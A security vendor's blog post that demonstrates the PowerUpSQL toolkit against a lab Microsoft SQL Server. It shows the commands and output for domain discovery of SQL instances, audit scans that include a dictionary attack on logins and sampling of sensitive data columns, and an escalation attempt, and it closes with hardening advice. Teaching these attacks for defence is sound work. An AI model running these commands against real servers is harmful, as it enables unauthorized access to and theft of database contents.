Compromising SQL Server with PowerUpSQL

blog.netwrix.com/2023/02/17/powerupsql-sql-attacks

Joe Dibley

If you're after a toolkit to own Microsoft SQL Server from end to end, what you need is PowerUpSQL. Implemented in PowerShell and as complete as they come, PowerUpSQL has tools to discover, compromise and own just about any SQL system. It's the whole kill chain in one tool. This article details how to perform the critical attack steps using PowerUpSQL.

Handpicked related content:

[Free Guide] SQL Server Hardening Best Practices

Note that we had very mixed results with the system we was using, a very vanilla version of MS SQL 2012. We'll be sure to highlight where our results varied with and without system admin rights. If you need tips on how to grab system level admin rights, see our catalog of techniques for attacking core AD infrastructure and our posts on AD service account attacks, attacks that exploit misconfigured permissions and our series on Mimikatz attacks.

Discovery

To find all the SQL servers in a domain, you can use the **Get-SQLInstanceDomain** cmdlet:

```
PS C:PowerUpSQL-master> Get-SQLInstanceDomain -Verbose
VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 2 instances were found.
ComputerName     : APP02.sbcloudlab.com
Instance         : APP02.sbcloudlab.com,1433
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount    : APP02$
DomainAccountCn  : APP02
Service          : MSSQLSvc
Spn              : MSSQLSvc/APP02.sbcloudlab.com:1433
LastLogon        : 1/9/2018 7:10 AM
Description      :
ComputerName     : APP02.sbcloudlab.com
Instance         : APP02.sbcloudlab.com
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount    : APP02$
DomainAccountCn  : APP02
Service          : MSSQLSvc
Spn              : MSSQLSvc/APP02.sbcloudlab.com
LastLogon        : 1/9/2018 7:10 AM
Description      :
```

There is also **Get-SQLInstanceLocal**, which will perform the same sort of discovery but only on the local instance. The domain version is noisier, but if you have only one place from which to attack on the network, it will do what you need. If you own a lot more of the network and you want to give off less signal, running the local version on each system will do the trick. In this case, we were able to get similar results when we were a normal user or a Domain Admin.

Target Selection

Once you have a few MS SQL systems you want to target — or you have many and you're trying to sort out which ones are the best targets — you may want to find out more about each of them. **Get?SQLServerInfo** will give you a snapshot of useful information about your potential target. Note that we seemed to need admin rights to get good results.

```
PS C:PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo
ComputerName           : APP02
Instance               : APP02
DomainName             : SBCLOUDLAB
ServiceProcessID       : 4980
ServiceName            : MSSQLSERVER
ServiceAccount         : NT ServiceMSSQLSERVER
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 11.0.2100.60
SQLServerMajorVersion  : 2012
SQLServerEdition       : Standard Edition (64-bit)
SQLServerServicePack   : RTM
OSArchitecture         : X64
OsMachineType          : ServerNT
OSVersionName          : Windows Server 2012 R2 Standard
OsVersionNumber        : 6.2
Currentlogin           : SBCLOUDLABjonathan
IsSysadmin             : Yes
ActiveSessions         : 1
```

This example shows off one of the best features of PowerUpSQL: support for piping. As you can see, we pipe the results of Get-SQLInstanceLocal into Get-SQLServerInfo, so with one command, we can get results for all SQL instances on the box. More broadly, you can use this feature to easily build cracking scripts that run through complicated operations quickly.

Finding Exploits and Sensitive Data

Using what we learn from Get-SQLServerInfo, we could go to the standard libraries of threats and vulnerabilities and grab something to use to exploit this system. But there's no need — PowerUpSQL has another powerful trick up its sleeve. The **Invoke-SQLAudit** cmdlet will literally do all the cracking for you. It checks pretty much every standard way to break into a database, find sensitive information and exfiltrate it to a form you can carry away.

When you invoke it, you will first see an outpouring of results like this:

```
PS C:PowerUpSQL-master> Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: LOADING VULNERABILITY CHECKS.
VERBOSE: RUNNING VULNERABILITY CHECKS.
VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server
Login Password
VERBOSE: APP02.sbcloudlab.com : No named instance found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server
Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com - Getting supplied login...
VERBOSE: APP02.sbcloudlab.com - Getting list of logins...
VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa
VERBOSE: APP02.sbcloudlab.com - Failed Login: User =
##MS_PolicyEventProcessingLogin## Password =
##MS_PolicyEventProcessingLogin##
VERBOSE: APP02.sbcloudlab.com - Failed Login: User =
##MS_PolicyTsqlExecutionLogin## Password =
##MS_PolicyTsqlExecutionLogin##
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION -
IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION -
IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege -
Server Link
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege
- Server Link
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege -
Trusted Database
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege
- Trusted Database
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege -
Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining
enabled.
VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining
enabled.
VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining
enabled.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege
- Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE
PROCEDURE
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...
```

```
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...
<snip>
```

But that’s just Invoke-SQLAudit getting started. After it runs through all the permission-level checks, it checks for specific, known vulnerabilities one by one and reports on what it finds for each:

```
ComputerName  : APP02.sbcloudlab.com
Instance      : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description   : Ownership chaining was found enabled at the server or database
level.  Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation   : Configured the affected database so the 'is_db_chaining_on' flag
is set to 'false'.  A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining.  A query
similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity      : Low
IsVulnerable  : Yes
IsExploitable : No
Exploited     : No
ExploitCmd    : There is not exploit available at this time.
Details       : The database master was found configured with ownership chaining
enabled.
Reference     : https://technet.microsoft.com/en-
us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author        : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName  : APP02.sbcloudlab.com
Instance      : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description   : Ownership chaining was found enabled at the server or database
level.  Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation   : Configured the affected database so the 'is_db_chaining_on' flag
is set to 'false'.  A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining.  A query
similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity      : Low
IsVulnerable  : Yes
IsExploitable : No
Exploited     : No
ExploitCmd    : There is not exploit available at this time.
Details       : The database tempdb was found configured with ownership chaining
enabled.
Reference     : https://technet.microsoft.com/en-
us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author        : Scott Sutherland (@_nullbind), NetSPwe 2016
```

Reading through the results of this cmdlet, regardless of how vulnerable your target may have been, is like a master class in SQL Server exploits. Moreover, the authors have left the toolkit open for extension as new vulnerabilities and exploits are found. So we should expect to see this list only grow over time.

And that’s not all. Once it’s done with vulnerabilities, it tries to find data you may want to steal:

```
ComputerName  : APP02.sbcloudlab.com
Instance      : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description   : Columns were found in non default databases that may contain
sensitive information.
Remediation   : Ensure that all passwords and senstive data are masked, hashed, or
encrypted.
Severity      : Informational
IsVulnerable  : Yes
IsExploitable : Yes
Exploited     : Yes
ExploitCmd    : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -
Exploit
Details       : Data sample from [REDACTED] : "[REDACTED]".
Reference     : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author        : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName  : APP02.sbcloudlab.com
Instance      : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description   : Columns were found in non default databases that may contain
sensitive information.
Remediation   : Ensure that all passwords and senstive data are masked, hashed, or
encrypted.
Severity      : Informational
IsVulnerable  : Yes
IsExploitable : Yes
Exploited     : Yes
ExploitCmd    : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -
Exploit
Details       : Data sample from [REDACTED] : "[REDACTED]".
Reference     : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author        : Scott Sutherland (@_nullbind), NetSPwe 2016
```

These results (slightly redacted for obvious reasons) were just two of the many dozens found in our target. The authors are even eating their own dogfood as they do this. These results were found using the “Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit” cmdlet, as stated in the results.

Privilege Escalation

One of the disappointments when playing with PowerUpSQL was that the very powerful Invoke-**SQLEscalatePriv** never worked for us. We tried different users, hosts, execution types (local and remote) and kinds of rights, but it would never escalate the user. The reason seems to be the defaults in MS SQL 2012 Enterprise Edition. Here’s what we saw when running as a non-admin user:

```
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s
bcloudlab.com"
PS C:PowerUpSQL-master>
When we run as admin, we get these correct but unexciting results:
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance
"APP02.sbcloudlab.com"
VERBOSE: APP02.sbcloudlab.com : Checking if you're already a sysadmin...
VERBOSE: APP02.sbcloudlab.com : You are, so nothing to do here. :)
PS C:PowerUpSQL-master>

Reading online, this cmdlet seems this does work for many others.
```

Other Functionality

One can easily imagine using this tool to get a sense of what to hit and then zero in. We would build a script, liberally taking advantage of the piping to find where we have maximum rights, and then move in on sensitive data on each of those locations.

We're always thinking in terms of exfiltration, but maybe your goal is system ownership? PowerUpSQL offers paths to that as well, but we will look at how to do that in the next post. Indeed, there is so much in PowerUpSQL that we could keep going on for a lot longer. However, the authors have already done a good job covering their tool so we will stop here.

Defending against PowerUpSQL

Now let's turn to what you can do to defend against PowerUpSQL. The bad news for our fun was good news for our data: Many of the things in PowerUpSQL seemed to need admin rights for are handled by the default security posture of SQL 2012 Enterprise Edition. However, admin rights are so easy to crack in most shops these days that this seems like a small barrier to success.

Still, there are some proven steps you can take to help protect your organization:

- **Enforce a least privilege model for SQL Server.** Do the local and domain admins really need to be SQL database and sys admins as well? Develop a clear, written policy that details why and when this is needed. Keeping these administrative functions distinct will prevent a compromise of one leading to the compromise of the other.
- **Investigate the security impact of any changes to SQL system settings**. Application vendors often demand changes to security settings only to spare themselves a few steps — and those steps can make the difference between safety and compromise. One way to find out is to run a PowerUpSQL audit before and after you make such changes to your test systems and compare the results.

- **Ensure that all passwords and sensitive data are masked, hashed or encrypted**. If the bad guys are after data, this is your best way to stop them from getting it. Systems will always be crackable, but decent encryption is a brick wall for all but the most sophisticated foe. If that sort of adversary is after your data, then you have higher order concerns.
- **Whenever possible, avoid risky configurations such as database ownership chaining.** As with changes to settings, database-level features like this are often used only to save developers some time. Make sure there is at least a consideration of risks when these configurations are being considered. Often the most challenging part is finding out where and when those conversations are happening and influencing them.
- **Ensure your systems are patched on a schedule that keeps them as up to date as possible**. This may be the most tired advice in security, but it's true. Many of the vulnerabilities tested for here would have been addressed by proper patching. Patches don't solve all your security problems, but they do prevent that big pit in your stomach when things go badly and you know it may have been (or absolutely was) due to a missing patch.

How Netwrix Can Help

Databases often contain highly sensitive information, which makes them a prime target for attackers. For strong security, database administrators need insight into their entire SQL footprint, across both on-premises datacenters and the cloud. Netwrix StealthAUDIT automatically reveals where SQL databases exist, who has access to them, how they obtained that access, who or what is leveraging their access privileges, where sensitive information resides, and how each database has been configured.

Joe Dibley
Security Researcher at Netwrix and member of the Netwrix Security Research Team. Joe is an expert in Active Directory, Windows, and a wide variety of enterprise software platforms and technologies, Joe researches new security risks, complex attack techniques, and associated mitigations and detections.